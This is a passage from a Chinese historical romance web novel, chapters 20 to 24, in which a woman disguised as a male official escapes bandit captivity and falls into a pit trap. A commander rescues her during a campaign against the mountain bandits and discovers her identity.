她脸上有些尘土,但依旧难掩那一抹苍白,小脸扯出一抹笑来。
这是他的风格。
投机取巧,让人咬牙切齿的风格。
动摇人心的好手段,不过,若是陈述没有先清理了一次内心摇摆不定的人,这招的效果会更好。
她继续用石头磨着绳子。
而陈述为了稳住军心,将林穷搜刮来的粮食尽数煮了饭,分发下去。
热腾腾的白饭冒着热气,惹得林疏影忍不住流口水。
她刚刚让粮仓失火,现在受了不少人的白眼,没有人会把为数不多的粮食分给她。
喊叫着投降给白粥的声音在她的耳畔不停回荡,这招反正对她好使。
林疏影饿着肚子,但手上的动作不停。
葛根在离她较远的树上,他甚至与看顾他二人的守卫聊起来了。
从那守卫的上山前如何受别人看不起,如何被丈母娘退婚,再就是遇到了陈述,他的陈大哥,把他捡回沧隅山,给他差事,管他饭食,葛根就应承着他的话,没一会儿,就把他的家底全刨出来了。
正好,也为林疏影打了掩护。
林疏影卸下身上的绳子,朝聊得火热的葛根打了个手势,便头也不回地往相反的方向跑。
林穷应该留了人手在村寨里,她还得留意些。
那些人应该很快就会发现她跑了,肯定会派人来抓。
她能跑到哪呢?
风打在她泛红的脸上,不要命地跑了一段后,她不得不调整了混乱地呼吸,停下来,看着周围的小屋。
正巧,小院里有一个大水缸,她不管三七二十一,把手在衣服上蹭了好几下,直接用手捧起水。
一上午担惊受怕,没吃喝,现在终于喝上一口水了。
她喝完水,看着水里的脸,想起母亲来。
若是母亲知道陈述这个人就好了,起码也不会孤立无援,被士族杀害。
可,有什么如果呢。
正愣神间,不远处的脚步声把她拉回来。
真是不让人歇一会。
林疏影不得不匆忙起身,往村子外围跑去。
若还在村子里待着,她定会被逮到,不如孤注一掷,去外围。
那些人应该也不熟悉陷阱的分布,不敢随意去外围的。
她心一横,脚下也是一横。
被树枝绊到了...
真是倒霉,林疏影倒在地上前,喃喃自语着。
待林疏影沿着斜坡翻滚,掉进一个洞穴里才发现,这不是倒霉,是陷阱。
她重重地摔在地上,闷哼一声,勉强坐起身,胳膊上地红痕未消,又添上新淤青。
扒开裤子,只见膝盖上一块青斑,她伸手轻轻试探。
“嘶-”真疼。
刚才还想着用陷阱摆脱那一群人,现在就被陷阱困住了。
真是...
她没忍住对着老天翻了个白眼,画本子里的人怎么就能单枪匹马,以一人之
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力压制整个军队,然而到了她这里,就成了必踩陷阱。
腹诽完老天爷之后,她便开始观察四周。
这个坑不浅,她仰着头,望着洞上繁密的枝叶。
把阳光死死遮住了。
既然爬不上去,那她就...
就只能祈求有人能来救她了。
虽这么想着,但她还是扒着墙壁上细小的不平整,想要爬上去。
但除了摔下来意外,没有别的结果。
她观察四周,这个坑干净地、得只有稀稀拉拉的小石头。
思考片刻后,她拿起石头,用力向上砸去。
在巴郡时,母亲亲自教导她的骑射,准头是有的。
她全然不顾刚才摔下来时的磕碰,用足了力气。
枝桠在石头的敲打下,散落了一坑。
这些枝桠起码能保证她在夜里不被冻死。
她摆好树枝,将这些罗在一起。
--
山下的谢寅筹谋好一切,清了后山的陷阱,带着一批人马就往山上走。
那几位大汗的也改了话,“下山投降的,赏一世富贵无忧。”
他故意没让人收住动作,树枝踩得咯吱咯吱响。
更有甚者,“总督,他们应该就在前面,我这就去通知主力往这里走。”
“做得好,等回了庆阳,我好好赏你。”
谢寅提着剑,看着不远处藏在密林后得人。
不一会儿,两人的对话便传到后山上。
陈述长吸一口气,谢寅和林疏影,一个割断绳子跑了,一个在这里不停地整幺蛾子。
这俩人哪一个都不是省油的灯,让他头疼的很。
“这件事,除了我们几个,你不许往外传,听见没有!”陈述摩挲着手上地扳指,闭了闭眼。
这明摆着是在动摇军心,得死死压住这消息,不能让任何人知晓。
“刘猛,阵型弄好了吧,来讲讲策略。”
刘猛以地为盘,用树叶代表双方的方位及人数,拿树枝简单勾勒,讲明了当下两方的局面。
陈述拄着下巴,皱着眉,“林穷,你说谢寅此来会带多少人。”
“应该是来探我沧隅山虚实的,人不会太多。”林穷答。
“照他的做法,定是想要先击溃军心,然后温水煮青蛙一般耐心地一点一点把我们吃掉。”林穷熟读兵法,虽然看透了这人的用法,但还没想出来对策。
若是顺着对方走,反而容易被谢寅牵着鼻子走。
他不禁苦笑,一个二十来岁的风流纨绔,竟比他研究了这么些年兵法的人还要懂得兵法。
一时间,不知道是自己学艺不精,还是对方用兵如神了。
“不过,这人狡诈,听,劝降的话又改了,简直是派人盯着我们一样。”刘□□嘴,正巧打断了林穷得思虑。
他这一说不要紧,倒是提醒了二人。
若是再拖延下去,谢寅的势力渗透到山上就更不好办了;若是,谢寅已经把人安插到他们之中呢。
“刘猛,你去与我点一遍士兵,确定没有一个生面孔!林穷,你看顾好后方,待最后一波进攻打完,便带着剩下的弟兄们跟上我们。”陈述看着正南的日头。
得抓紧了。
“刘猛,等点完,若是没有什么意外,就开始第一次进攻。”
他转身,朝向北,背着阳光,在黑暗之下,终于得了一丝喘息的机会。
不过一瞬,他重新朝向南,前去点兵。
21. 第 21 章
既然谢寅你要分散兵力来消耗我沧隅山,那我便顺了你的意,也分散兵力与你对冲,看看到时候,是谁在消耗谁吧。
陈述手握着挂在腰间的剑,看着士气不减的兄弟们。
都说得民心者得天下,失民心者失天下,这一次,老天你要助我!
“老大,难道你也想分散兵力来对付谢寅?”刘猛向来喜欢研究这些,自然是可以看出来得。
“自然,兄弟们熟悉地形,在交战上多半也会占上风,等周旋了谢寅所有兵马,待他将士疲倦时,便是我们冲出去的好时机。”陈述看着刘猛,眼神里似还有一层化不开的深意。
不知道夫人如何了...
曾许诺护她一世平安,却然结发夫妻与他遭受了不少苦难,每每熬过苦难,而安定的日子又极少。
他有愧。
见陈述愣神了,刘猛拿手在他眼前晃一晃,“老大?这一批兄弟没问题,还有别的吩咐吗。”
“没有,走,看下一批。”陈述扯出一个笑。
刚才纠结的话,始终没有说出口。
她现在一定是平安的。
--
谢寅一行人做了前锋,本就是为了试探对方实力。
而且,地势是个难题不说,陷阱几乎隐藏在密林任何地方。
先锋是要开路的,也是要鼓舞士气的,谢寅虽担了这个任务,面上云淡风轻。
后山半山腰以下,是陷阱密集的地方,不过刚才已经清理得差不多了。
谢寅便带着一行人来回转悠,似饭后消食一般。
“总督,不好了,匪寇追过来了!”在不远处放哨得士兵着急忙慌得禀报。
谢寅皱眉,“具体情况呢?”
终于忍不住了吗?
“人数与我们相当,为首那人人高马大,是个不好对付的。”
“哦?这是想要和咱们一起消耗了,将士们,会会匪寇吧。”
谢寅示意拿士兵带路,两军快要碰头时,他吩咐那人道,“你去潜上山,看看他们一共多少人。”
交代好这些,他便可以放心大施拳脚了。
“你们是我手上最锐利的兵,此战虽没有地形优势,但好剑是磨出来的,你们也一样!打不败我们的,终将使我们强大,打败我们的,就努力打败他们!”
谢寅拔出剑,慷慨激昂道。
他的剑通体墨色,颇为奇特,虽在京城时是充当观赏加装饰来用的,但依旧不能阻碍他的锋利。
众人整齐站立,眼睛齐刷刷地看着那把墨色地剑。
只要这把剑在,军心就在。
说罢,谢寅转身,一身甲胄在春风中格外清冽。
“哟,我当是哪个大将呢,原来是个四肢发达的粗人。”
谢寅最惯用嘴皮子占上风。
有时,一张嘴,几句话,甚至不用多费口舌,便可以扰乱对方士兵的军心。
看似简单,实际却藏着极深的门道,拿捏人心的伎俩好用,但也难用,说不准还会挫了自己的锐气。
“呸,娘娘腔,把那个狗屁总督叫来,老子不屑和你打!”
刘猛一手扛着大刀,一手叉着腰。
那大刀得有三四公斤重,沉甸甸地依偎在这人肩膀上。
常人用的剑不过一二公斤重量,现在直接翻了倍,用起来定然是累赘极了,但这刀是放在他手里的,看不出一丝费劲,轻巧地跟个玩具似的。
“哼,就你!?”
随后就是好一阵哄笑,刘猛笑得人仰马翻,但依旧稳稳地拿着大刀。
谢寅看着眼前空有蛮力的人,扯出个笑来。
“这么好的机会,别错过了哦。”
待话音落下,官兵便飞速出手,绕过难缠的刘猛,对上沧隅山的人。
“你...你不讲武德!”刘猛两条横眉拧在一块,气地鼻孔张了老大。
本想与这人好好较量一番,现在看来这人不光一身细皮嫩肉,还是个爱投机取巧的,真是个没什么本事的纨绔。
他鄙夷者,挥舞着大刀便向围上来的官兵砍去。
“你的对手在这里。”
墨色的宝剑出鞘,在林间捕捉着一丝光亮,闪烁者点点星芒。
谢寅一手拿着剑鞘,一手执剑,快步冲向那人,丝毫不畏惧阵阵刀风。
他没躲,硬是接下了那凶猛的一刀。
蛮力灌注在刀上,压得谢寅手腕发疼,身子直往后倾。
刘猛加重力道,心想这总督不过如此,模样跟青楼小倌似的,竟然连他一刀都扛不住。
谢寅丝毫不慌,稳住身形。
既然正面硬刚不行,那就...
逮住时机,把剑往外一瞥,身子随之往外躲,化下了这沉重的一刀。
“不过尔尔!”
刘猛瞧见了这人用了巧力,若是比拼力气,这人定然逊色于他。
他只有蛮力,也崇尚蛮力,若是遇上了他人还好说,可偏偏是谢寅。
他平日里在力气上胜过他人一筹,便是处处依靠蛮力,虽刘永兰也在一旁提点他,可这人根本不是用计谋的料子。
而谢寅将兵法烂熟于心,对付他,是绰绰有余了。
“彼此彼此。”
谢寅站稳,摆好了攻势,却等着那人冲上来。
刘猛迈开大步子,脚下的枯叶咯吱吱响,挥着大刀冲着谢寅的面门就来了。
他看着眼前的大刀,躲开了刀的砍杀范围,弯腰把手里的剑送出去。
“滴答”一声,血珠滚落到泥土里。
刘猛握住墨色剑的手的血开始往外冒。
血液不断浸染着早已经腐蚀得只剩下叶脉的树叶。
一抹鲜红刺痛了刘猛的眼,哪里不太对。
他抽出手,下意识扭头往后看,他带出来的兄弟连一半都没剩下。
甚至,还有不少带着伤的。
也顾不得自己败给了娘娘腔,转身,挥舞着大刀冲向混战在一起的人。
谢寅高喊一声“收”
官兵们训练有素,没人恋战,都抽出身来,跑到谢寅身后。
刘猛看着死伤过半的兄弟,狠狠给了自己一巴掌。
又被人耍了!
本就是沧隅生死存亡之际,他竟然还是忘了大哥的嘱托,他又该如何向大哥交代,如何向死去兄弟的妻儿交代?
手上的口子粘腻着血液,竟是染红了整个手掌。
“刘猛是吧,再会哦。”谢寅调侃味十足。
没给刘猛反驳的时间,便带着一行人走
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了。
既然要跟他耗,那也得找个脑子灵光一些的吧。
谢寅淡淡一笑,招呼出在暗处盯梢的人,“小六,你去跟着刘猛,瞧瞧他们还剩多少人。”
按理说,陈述手上有林疏影和葛根,应该是要拿人质来威胁他的。
这怎么也分散了兵力...
谢寅回了山脚,看着余烟环绕的后山。
难不成,他们二人寻了机会跑了?
怪不得,怪不得他们也要分散兵力,还让刘猛做前锋。
刘猛勇猛,以一敌十都不成问题,小规模交战自然占尽优势。
若这次不是他,换个武功剑法稍微差一些的,恐怕今日的残兵败将就是他们了。
谢寅脚程慢些,众人到达山脚没多久,小六便带着消息与谢寅碰头。
“他们将仅剩下的人分成了一批一批,一共九批,出去死伤过半的那个,还有八批,这些人似乎都对陈述死心塌地,格外忠心。”
言外之意,劝降作用不大了。
“正常,恐怕那些贪生怕死的都混入了百姓,你就去把那几个叫回来,让他们好生歇息会儿吧。”
谢寅摆摆手,将脑子里将各路信息混合到一起。
缺了刘永兰这个谋士,他倒是很好奇陈述还有什么谋士将帅呢。
“不过几百人,薛副将,下次你去,带两倍的人。”
薛副将是本是落魄的武将之子,还是多亏了谢寅的暗中提携,这才不负祖业,得了个不错的职位。
此人自小活得清贫,但依旧日日温习书卷兵法,故而将书卷了然于心。
再加上沉稳的性子,颇得谢寅赏识。
现在不光是历练薛平的好机会,也能通过薛平把陈述手底下的人摸清楚了。
“属下领命。”
薛平清点士兵,做好准备。
--
沧隅山上的长青,正带人毁坏着寨子前的武器。
他守在寨子高处,在高处看着整个寨子的全貌。
忽然,一抹身影突兀地出现在村庄里。
长青定睛一看,竟又冒许多人来,他忙叫停手底下的人。
只见那群人进进出出房屋,也没拿出来什么柴米油盐,倒是让他有些疑惑了。
被困在山中,这些人不拿粮食,难不成是来找人的?
找人...找谁呢?
长青想起临行前主子的话,难不成是林参谋逃跑了,而这些人之所以不拿粮食,是早就搜刮过了把。
既然如此,他得接应跑出来的林参谋。
但是,这些人翻遍了村子,也没把人找出来,许是在山上,八成...是掉陷阱了!
想到这里,他便不再犹豫,快速让手底下的人隐蔽好,自己便飞速下了山,直奔后山谢寅处。
“主子,我看见有人在村里寻人,想来便是林参谋跑了。”长青气都没喘匀。
谢寅闻言一挑眉,果然如此,没想到他还有这样的魄力。
敢在陷阱重重的沧隅山跑。
“人呢?”谢寅冷冷一句甩出来,让长青有些为难。
“不知道,大概率是掉陷阱里了。”
言外之意,生死不明,我也不知道,不要迁怒我。
“废物!”
22. 第 22 章
谢寅与薛平商量后续如何应对匪寇,不觉已经日落时分。
两人围着一个插满小旗子的小丘,近距离看,小丘顶部的小旗子上刻着沧隅二字,笔力遒劲。
薛平站起来,活动着有些麻木的身体,“沧隅山的人当真有反叛之心?”
他一路走来,得到了不少人的帮助,也深知底层的不易。
但没有人能和他一样有这么好的命,他也不愿意与因苦难被逼上山的百姓针锋相对。
一山难容二虎,这天下,到底是大夏的天下。
“收起不该有的怜悯,战场上是讲同情心的地方吗!”谢寅低声呵斥。
薛平是他看好的,哪里都好,就是太爱“管闲事了”。
这次可不能出任何岔子。
未等薛平回答,他又说道,“这次,你自己去罢,我要去把陆老头的好学生带回来。”
也没等薛副将反应,起身直接越过这人,潇洒离去。
“是。”薛平只来得及看谢寅的背影。
春风吹过枝桠,飘动着那人的衣摆。
林参谋献身大义,现在却下落不明,确实该救,绝不能落入匪寇手里。
长青引路,带着谢寅上了山。
长青一路上都在暗中观察主子得神态,迎面就是一张冷脸,他甚至在心里回想了这几天的所作所为。
没有什么问题啊,出了没保护好林参谋。
不对,这是最严重的一个。
正当他深刻反省自己的错误时,一道冷冽的嗓音打断了他。
“寨子上的武器都破坏得差不多了?”谢寅问道。
他赶忙回答,“差不多了,我下山时,兄弟们已经开始拆了。”
“那你盯好匪寇的动作,有异常去禀报薛平去。”说话间,谢寅已经站在了寨子大门前。
“啊?主子你...”长青有些摸不到头脑,偏偏往枪口上撞。
“去完成你惨败的任务。”谢寅冷眼一瞥,不再和长青废话,迈开步子,进了沧隅寨子。
留下一脸无辜的长青在原地自省其身。
下午他与薛平商议应对匪寇策略时,长青在一旁提供沧隅山地形地势,也把几处重要的陷阱标上了。
长青在沧隅山接应林疏影时,便暗中观察过,正好为此次提供剿匪助力。
匪寇笃定他们不熟悉地形,想要以少胜多,天真。
谢寅拉回思绪,看着眼前精心设计的寨子,不免怀疑,沧隅竟有如此能工巧匠。
但此时不是思虑这个的时候。
林疏影既然不在村子里,那就应该落了陷阱,那就从最大的这几个找吧。
山上气候没准头,但春日里下雨极少,尤其是北方。
谢寅刚排查完第一个陷阱,水珠正巧滴在他鼻梁上。
圆润的珠子划过高挺的鼻梁,又迅速落下去。
随后细密的雨点穿透初春刚长出的嫩叶,砸到谢寅身上。
谢寅早就脱去了一身的甲胄,就算是再好的衣服也不防水,不防雨。
风吹来,晃动树叶,伴着雨声,这是山野间独特的意境。
谢寅丝毫不顾及天气的变化,靴子踩着泥浆,接着去排查第二个陷阱。
循着记忆的线索,第二个陷阱慢慢浮现在他眼前。
这个陷阱借斜坡发挥,坡底是个宽大的似洞穴一般的坑,坑壁很特殊,如光滑的石头一般,普通人掉下去了,根本不可能一个人上去。
但,这个坡好像有痕迹。
谢寅蹲下身,扒开斜坡上新落的几片叶子。
虽然雨水冲刷了一些,但谢寅还是认出了,这是人滚落的痕迹。
难道,就在这里?
思及此,他心里升起莫名的感觉。
但是他也没空去分辨,迈着步子,顺在坡,小心得往下寻。
林子里虽然下了雨,难免不会有匪寇来巡查,他低声叫着林疏影。
他揣着莫名的情绪,终于看见了一丝异样的光亮。
水渍沾染在透亮的石头上,折射出不一样的光。
坑壁竟然是用光滑的石头做的。
谢寅慢慢靠近,蜷缩在一角,借着坑边树木的绿荫挡雨的小人儿映入眼帘。
林疏影!
看见这一幕,不知为什么,他有些心塞。
那一刻,他仿佛看到了自己的影子,那个没有权力的,受了委屈只能躲在角落里的少年。
他飞速环视四周,迎上一个树木脱落的枝丫。
迈开腿去拿,结果踩了一脚的泥,顺势滑到洞里。
林疏影在角落里蜷缩着,将身上的衣服裹得严严实实的。
许是受了风寒,她脑袋晕晕乎乎的,维持着最后一丝清明。
连谢寅的靠近都没有察觉。
偏偏,谢寅结结实实得砸到她身上。
好嘛,这一下,吓得林疏影头也不晕了,脑袋一下子清明不少,双手捧住一个圆的东西,盯着那东西看了好一会儿。
甚至,还上手摸了两把,她小心地描摹着五官,嘴里念叨着,“什么呀,怎么跟那个断袖一样!”
谢寅摔得直头晕,被细嫩得小手一摸,脸上冷不丁得红了一片。
他缓缓睁开双眸,看着那人。
这人的脸挂着雨滴,睫毛也被雨水浸染,好似清水芙蓉一般。
正欣赏着,被突如其来的一句话呛住。
他怎么可能是断袖,虽然他确实没碰过姑娘!
谢寅赶紧起身,背过去,咳嗽两声,还装模作样地整理着湿透的衣服。
这么多天来困扰着他的人就在眼前,也该问清楚了。
“林疏影,你...”话还没说完,就瞥见余光里的人儿倒落在地。
谢寅大脑空白了一瞬间,随后赶紧上前抱她起来。
探了探林疏影鼻息,虽不太均匀,但他的心里总算松下来了。
他把林疏影靠在坑壁上,小心抹去胳膊的衣服,探手去摸脉。
还好,就是简单的风寒,还好......
怪不得这人见了他会是这样的反应,若是放作平日,这人恐是不乐意与他靠得这样近。
谢寅自摔下来,就没松下来过,刚刚确认了林疏影并无大碍,便随意地靠坐在那人旁边,将胳膊搭在眼睛上,遮住了一些还未腿去的红晕。
歇了一会儿,谢寅缓过来了。
他看着身旁那人泛白得嘴唇,心里一拧。
等不得,林疏影这个羸弱书生真是体弱,还是得快些找到出去的方法。
谢寅收回目光,仰头找了块最密集的树荫,把林疏影安置好,便琢磨着如何出去。
沧隅山也不是吃素的,这个大陷阱可是能困住七八个人的。
他看着距离他足足两丈的洞口。
饶是他再神通广大,也不可能从这里出去。
他摸出衣服里的哨子,唇瓣覆上哨身,触碰着林疏影接触过的位置,吹响哨子。
哨声悠扬如鸟鸣,却与鸟鸣有细微的差别。
而长青和长煊是为数不多能够分辨这声音的人。
发完求救信号,谢寅终于能够低下有些酸胀的脖颈,动身查看林疏影的情况。
好在,雨势渐小,这跟女人一样娇弱的人可算能缓口气了。
他注意到一旁外衣,外衣之下,好像藏着什么东西。
许是天色暗沉的缘故,他竟然现在才发现。
外衣之下竟然是摆放的整整齐齐的树枝。
衣服是林疏影的,所以,这些树枝也都她弄来的。
她是抱着过夜的态度来的。
谢寅抬头,看着头顶上的枝叶,心下了然。
怪聪明的。林疏影,你到底要给我多少惊喜?
他
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放下外衣,看着整整齐齐的树枝。
虽然上面的树枝被雨水浇灌得蔫了,好在下面得能用。
谢寅凑起未被打湿的枝桠,拿着石头把墙壁磨了好半天,才堪堪出来火花,然而,树枝有些潮,并未冒出火花。
谢寅倒是不急不缓地试了许多次,终于在雨彻底停下来时点燃了潮湿的枝桠。
火光熹微,但好在有了。
他看着天色,泥泞的山路难走,又要防备匪寇,一时半会,长青是到不了的。
拖着一身湿衣服,他倒是先扒下了林疏影的外衣,拧干了,借着火的温热烤干衣服。
他一手拿着干衣服,另一只手扒开眼前这人的衣服。
然而动作却被一只手拦住了。
林疏影模模糊糊地睁开眼,戒备地看着谢寅的手,绵软无力地握住他的手。
这个人果然还是怀疑她的身份,但是她明明已经做得那么完美了。
不行,不能被发现。
清醒了一会,林疏影眼前一黑,又晕了过去,但手还是抓着那人的手腕。
在谢寅眼里,这人跟猫似地软绵绵地瞪着他。
谢寅嗤笑一声,“都是男人,放心我就算是断袖,也不是趁人之危的断袖。”
若是再不脱下来湿衣服,恐怕会更严重。
他一件一件褪下衣服,虽然只用了一只手,但动作很轻柔小心。
连他自己都在心里鄙夷起来,不就是脱个衣服,怎么自己变得跟葛根一样婆婆妈妈的了。
直到只剩一件里衣,隐约在衣服之下的白色布条格外刺眼。
衣服之下还勾勒出细致的身躯,瘦窄的肩膀,这明显...
就算谢寅没碰过女人,男女的分别他还是知道的。
迷离在表象之后的真相浮现,一切的一切都能说通了。
为什么这人总是戒备他,就算是好意也要拒人千里之外。
而他们二人第一次见面时,她的懦弱、好欺负大概都是不想把事情闹大。
可笑自己还鄙夷这人读书读傻了。
怪不得,她在青娥那般不情愿。
谢寅用舌头抵着一侧的脸颊,这一切都明了了。
赶往庆阳那日,林疏影宝贝地背着的剑,单看剑柄的流苏便知道此物不凡,那是还没太留意,现在想来,其实这人露过许多破绽,只不过都被她糊弄过去了。
所以,陆老头费心查的信息是假的。
巴郡在南边偏远地区,朝廷一向对大夏南边百姓的户籍管理不甚严格,有人弄虚作假也是常有的事。
但伪造科举身份,可不是小事,也不是一般人能做出来的。
况且身为女子,却精通剑术、骑马,这人也绝不只是简单的闺阁女子。
哪个娇滴滴的小姐不是有下人侍奉,锦衣玉食的,哪里能受得了这样的苦?
京城几大家族的小姐可都养在深闺里,为的就是不让她们在出嫁前抛头露面,轻易是见不到的。
就算是想要出府,也是要家主点头,戴着面纱的。
巴郡偏远,对于女子的限制应该比较少,但我并未听过哪个官员如此大胆,敢纵容自己的女儿违背礼法。
这个人到底什么来历?
按照大夏律法,欺君罔上可是死罪,更别说界限分明的男女尊卑。
女扮男装,冒着这么大的风险来京城,她到底是为了什么...
谢寅手上动作没停,他转过头去,飞快地扒下这人的里衣,忙给她裹上干燥的衣服。
红晕爬上耳根,他的手都在莫名地发抖。
想起两人初次见面时,林疏影的咽下苦楚的懦弱模样,他又戴上了往日在京城的模样。
都说,小不忍则乱大谋,难不成她是为了更大的阴谋?
相较于初次相见的林疏影,这样藏在懦弱背后的人反倒是提起了他的兴趣。
23. 第 23 章
谢寅嗤笑两声,声音在坑壁上打转,再回到他耳朵里,又像是自嘲。
此时,少年细密的心事似决堤的洪水一般,再难收场。
为什么他对眼前的人百般担忧,不是因为师父的嘱托,也不是因为旁的什么。
他欣赏这人的智谋,欣赏这人的胆量,欣赏这人蚍蜉撼大树的气魄。
本来,因为身份问题,他还不能如此直面自己的内心,甚至一直在逃避。
但现在,他似拨开心房里一层层的保护,看清楚了自己的想法。
不过是,我心悦你,这再简单不过的四个字而已。
待收拾好林疏影后,长青恰好赶到,及时救出了两人。
--
长青在谢寅眼里“不靠谱”,但他还是相当靠谱地找到了两人。
并且提前在寨子里收拾好一间客房。
他最了解不过,主子平日里眼高于顶,看似风流,实则对周围的莺莺燕燕无感,对待下属,也只是该赏赏,该罚罚。
所以当他看到谢寅一路抱着林参谋,淌过泥水时,他猛然发现,总督变样了。
以前的主子对自己可是要求极高,哪怕做错一件事情,都要接受训斥的。
现在,竟然这么关心下属了?
那他的好日子就要到了,这一次他一定得抢在长煊前面得到主子的器重!
“主子,要不我背林参谋过去吧。”长青分外恳切,极为殷勤。
得来的却是谢寅的白眼,“不用,你好像很闲?”
以为谢寅变样了却还是受到了往常一样的非人待遇的长青。
石化在原地。
好吧,这大概就是命吧。
他引着谢寅进了屋子,便知趣地退出去。
你们都是男的,就算你们再亲近,再恩爱,再...无论如何都是不会有结果的!
长青跟怨妇似地跺脚,还以为他没看出来总督的小心思吗?
其实他早就知道了,总督心悦林参谋,否则,为什么对他关怀备至!
为什么连明玕都要给林参谋,还骂他这么得力的助手!
原来如此。
果然,只有爱情会暂时改变一个人。
谢寅安置好林疏影,在房间的衣柜里找了两套衣裳。
军营里没有女人,女儿身的身份加上这个状元郎的身份,太过危险,不能让任何人知晓她的身份。
犹豫片刻,还是将那件较小的衣服放在枕边,自己则终于脱下了湿漉漉的衣服。
待他换好衣服,走出门,便吩咐站在门外的长青,“长青,去找张军医过来。”
现在她身上的衣服不算太湿,应该无甚大碍,等军医诊治好,她应该就能自己换了。
无论如何,女儿家的清誉重要,他不能再趁人之危了。
“我这就去吩咐。”
长青动作快,不消片刻,便交代好一切了。
“薛平那有什么消息吗?”谢寅立在屋檐下,抱着胳膊问道。
“如总督所料,那山上的匪寇真是分批派了几波士兵,并且也换了好几个主帅,前几次都与薛副将不相上下,我们略胜一筹,可就是,最后这两次...”
长青支支吾吾。
“怎么了?说。”
谢寅语气很淡,听不出一丝不耐烦的味道。
“最后两次,匪寇的主帅忽然谨慎非常,出兵也极其老练,薛副将勉强从那两人手下逃出来,这两次进攻,也败光了士气。”
长青仔细观察者谢寅的脸色。
“本就是试试薛平的锋芒,匪寇里有不少不得赏识的老东西,他能应对,已经很不错了。”
谢寅背过身去,只留下一个背影。
“先让我军胜利几场,然后再重重一击,大挫我方士气,当真高明,不过,他应该不会想到我还留了后招吧。”
“最近一次匪寇进攻是什么时候?”谢寅问道。
“便是这场雨的时间。”
这匪寇比谢寅想像地着急,本以为,得等他救出林疏影后才会重挫士气。
是粮食不够了?还是利用了这个天时。
匪寇在山上待久了,自然熟悉,尤其是这样的雨天,他们更是占尽了优势,这么好的机会,自然不会白白放过。
“不过后山的屋子没有多少,我们的人已经覆盖到了整个村子,他们进退不能,应是硬受了这一场雨。”长青补充道。
二人说话间,军医赶到,打破了短暂的对话。
谢寅跟在军医后面,跨过门槛,进了屋子,利落地关上房门。
这一切都没有什么不妥。
但是被直接挡在门外的长青觉得很有所谓,他暗自发誓,一定要告诉老爷,少爷不学好,沉迷男色!
而屋子里的谢寅正担忧地看向林疏影搭在被子外面的白皙的手腕。
他也知晓些医术,应该是没有什么大碍的,应该是没有的。
但谢寅的心仍旧悬在半空中一样,他看着军医的三根手指,不自觉就皱起了眉头。
哪里需要这么长时间。
“无甚大碍,参谋平日里身子壮实,只是受了点小风寒,老夫给开两副药就差不多了。”
果然,谢寅松下一口气来,他靠近正在收拾诊疗器物的人,低语道,“你很聪明,应该知道怎么做吧。”
男子与女子的脉像有所不同,张齐清医术了得,肯定摸出了林疏影的身份。
这人虽医术高超,但因为出身,只能在军营里做个军医,算不上得志,也不愿与人结交,多年来,一个靠山、朋友都没有。
但这人行事极有分寸,大概是混迹官场这些年,被磨平了棱角。
这也是谢寅吩咐长青将此人叫来的原因。
“必然知晓,我只是为林参谋诊治了风寒,其他的一概不知。”张齐清脸上始终挂着笑,将准备好的药材递给谢寅,便行礼退下了。
张齐清这人与其他医官不太一样,他随军出征,总是提前将几种常见的病,按照经方配好,这样省时省力。
不光如此,他平日里爱采药,采来的药材也全部充了公,也为朝廷减去了一笔药材的开支。
士族不喜,但谢寅很是看重。
可这人偏偏从不结党站队,纵然谢寅如何以利相诱,这人自清风傲骨从不折腰。
谢寅拿着药包,思索片刻后,推出们,将药丢给了长青。
“既然已经完成任务了,就去把熬汤药。”
谢寅的语气不容辩驳,
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长青自是逆来顺受,不敢说什么,拿了药包就走。
他重新退回屋子,拿过桌案前的椅子,坐在了林疏影跟前。
看着,回了血色的嘴唇,却又发现这人的眉头紧皱着。
是了,是藏了太多秘密罢。
去年刚及笄的小姑娘,到现在却成为了才智无双的状元郎,也是你从巴郡赶到京城的时间。
而眼前这人,是一个人入京的,尚且不说一路颠簸的艰辛,就这正赶上的大夏洪灾,流民遍地,她又是怎么一路走过来的。
再者她在举目无亲的京城,事事亲历亲为,硬是以一张巧舌如簧的嘴应对、回绝士族的拉拢,很难不叫人佩服。
怪不得,陆老头一眼就认准了她。
谢寅低头看着脸色苍白的人儿。
这哪里像一个小姐模样?
小姐哪里能受得了这样的苦?
他终是没忍住,将手搭在这人的头上。
纨绔的、嚣张的、温和的,什么样的贵女他谢寅没见过,可他独独没见过胆子大到要挤进满是士族的朝堂上的傻子。
谢寅出神间。
林疏影忽地开口,“母亲,你不要走,母亲...”
她从被子里挣脱出两只手,想要抓住什么东西,却什么也没抓到。
眼泪自眼角划出,滴落在枕头上。
谢寅见了,心里一抽。
那个敢只身赴沧隅山的林疏影和眼前脆弱的林疏影竟然是一个人。
他赶紧把自己的手递过去,让那人抓着。
“我在,不要怕,我在。”他用手轻轻拍打着林疏影不住颤抖的手。
“我一定会找出真相,一定会让那些人杀人偿命...”
声音越来越小,甚至到了后面,几个字含糊成一片,让人难以分辨。
但谢寅还是敏锐地捕捉到了。
母亲、杀人偿命...
果然,是另有所图,瞧着她平日里对士族的怨愤,谢寅在心里猜出了大概。
怪不得,出榜那日,她拒绝士族那般果断。
林疏影死死握住了谢寅的手,指甲都要嵌入这人修长的手。
但谢寅没有丝毫要抽出来手的意思。
心里的滋味更加复杂。
刚开始本就是简单的倾慕而已,可对着人了解地越多,就越是想要了解更多。、
不管是好的、坏的、坚强的还是脆弱的,他都想要看到,都想这人把一肚子的秘密吐给他听,至少不用一个人担着这么多事。
这伤寒,多半也与她的一身心事有关。
不过,总乱解决了一件心事,林疏影既然与士族有仇,那便不会威胁陆老头的计划,她的身份还是告诉师父吧。
师父不是那样迂腐的人,况且她才能无双,就算是女儿身,老头子为了大夏,也没什么不敢用的。
林疏影感了伤寒,本就没多少力气,抓着谢寅的手没一会儿就累了,两手松开,瘫倒在被褥上。
谢寅的手得了空,便去擦拭她脸上的泪痕。
“你好好歇着,剩下的交给我好了。”谢寅终于能安生地摸这人的头了。
他脸上挂着连自己都没有察觉到的笑容,与平日里的冷冽、纨绔全然不一样。
24. 第 24 章
沧隅后山,临时搭建的营帐里。
“薛平,你从这几次对阵中,看出了什么?”
雨停了。
沧隅山上没剩下多少粮食,况且现下匪寇的消耗也不在少数。
若谢寅猜的不错,匪寇已经取得了两次胜利,陈述定然是想一鼓作气,冲破沧隅山外围的防线。
刚安置好林疏影,他便紧赶慢赶地到了沧隅后山。
“刚开始,我以为匪寇就是些乡野莽夫,但后来那个林穷和陈述接连挫败我军,便豁然开朗,原来,前几场都是故意让我们取胜,好让我们骄兵必败。”说到这里,薛平有些惭愧。
若是他能早一点料想到,就不会害那么多将士惨死。
“是属下考虑不周全,才让兄弟们送了命,还损失了不少...”
薛平自知惭愧万分,他膝盖触地,声音响亮。
